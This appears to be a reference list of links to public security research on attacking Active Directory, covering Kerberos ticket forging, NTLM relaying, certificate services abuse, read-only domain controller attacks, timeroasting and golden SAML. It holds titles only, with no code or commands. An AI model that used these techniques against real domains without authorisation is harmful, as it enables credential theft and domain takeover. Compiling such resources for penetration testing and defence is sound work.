* [Sapphire tickets - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/kerberos/forged-tickets/sapphire)
* [Exploiting RBCD Using a Normal User Account - tiraniddo.dev - Friday, 13 May 2022](https://www.tiraniddo.dev/2022/05/exploiting-rbcd-using-normal-user.html)
* [Exploring SCCM by Unobfuscating Network Access Accounts - @_xpn_ - Posted on 2022-07-09](https://blog.xpnsec.com/unobfuscating-network-access-accounts/)
* [.NET Advanced Code Auditing XmlSerializer Deserialization Vulnerability - April 2, 2019 by znlive](https://znlive.com/xmlserializer-deserialization-vulnerability)
* [Practical guide for Golden SAML - Practical guide step by step to create golden SAML](https://nodauf.dev/p/practical-guide-for-golden-saml/)
* [Relaying to AD Certificate Services over RPC - NOVEMBER 16, 2022 - SYLVAIN HEINIGER](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/)
* [I AM AD FS AND SO CAN YOU - Douglas Bienstock & Austin Baker - Mandiant](https://troopers.de/downloads/troopers19/TROOPERS19_AD_AD_FS.pdf)
* [Hunt for the gMSA secrets - Dr Nestori Syynimaa (@DrAzureAD) - August 29, 2022](https://aadinternals.com/post/gmsa/)
* [Relaying NTLM Authentication from SCCM Clients - Chris Thompson - Jun 30, 2022](https://posts.specterops.io/relaying-ntlm-authentication-from-sccm-clients-7dccb8f92867)
* [Poc’ing Beyond Domain Admin - Part 1 - cube0x0](https://cube0x0.github.io/Pocing-Beyond-DA/)
* [At the Edge of Tier Zero: The Curious Case of the RODC - Elad Shamir](https://posts.specterops.io/at-the-edge-of-tier-zero-the-curious-case-of-the-rodc-ef5f1799ca06)
* [Attacking Read-Only Domain Controllers (RODCs) to Own Active Directory - Sean Metcalf](https://adsecurity.org/?p=3592)
* [The Kerberos Key List Attack: The return of the Read Only Domain Controllers - Leandro Cuozzo](https://www.secureauth.com/blog/the-kerberos-key-list-attack-the-return-of-the-read-only-domain-controllers/)
* [Timeroasting: Attacking Trust Accounts in Active Directory - Tom Tervoort - 01 March 2023](https://www.secura.com/blog/timeroasting-attacking-trust-accounts-in-active-directory)
* [TIMEROASTING, TRUSTROASTING AND COMPUTER SPRAYING WHITE PAPER - Tom Tervoort](https://www.secura.com/uploads/whitepapers/Secura-WP-Timeroasting-v3.pdf)
* [Beyond LLMNR/NBNS Spoofing – Exploiting Active Directory-Integrated DNS - July 10, 2018 | Kevin Robertson](https://www.netspi.com/blog/technical/network-penetration-testing/exploiting-adidns/)
* [ADIDNS Revisited – WPAD, GQBL, and More - December 5, 2018 | Kevin Robertson](https://www.netspi.com/blog/technical/network-penetration-testing/adidns-revisited/)
* [Getting in the Zone: dumping Active Directory DNS using adidnsdump - Dirk-jan Mollema](https://blog.fox-it.com/2019/04/25/getting-in-the-zone-dumping-active-directory-dns-using-adidnsdump/)
* [S4U2self abuse - TheHackerRecipes](https://www.thehacker.recipes/ad/movement/kerberos/delegations/s4u2self-abuse)
* [Abusing Kerberos S4U2self for local privilege escalation - cfalta](https://cyberstoph.org/posts/2021/06/abusing-kerberos-s4u2self-for-local-privilege-escalation/)
* [External Trusts Are Evil - 14 March 2023 - Charlie Clark (@exploitph)](https://exploit.ph/external-trusts-are-evil.html)
* [Certificates and Pwnage and Patches, Oh My! - Will Schroeder - Nov 9, 2022](https://posts.specterops.io/certificates-and-pwnage-and-patches-oh-my-8ae0f4304c1d)
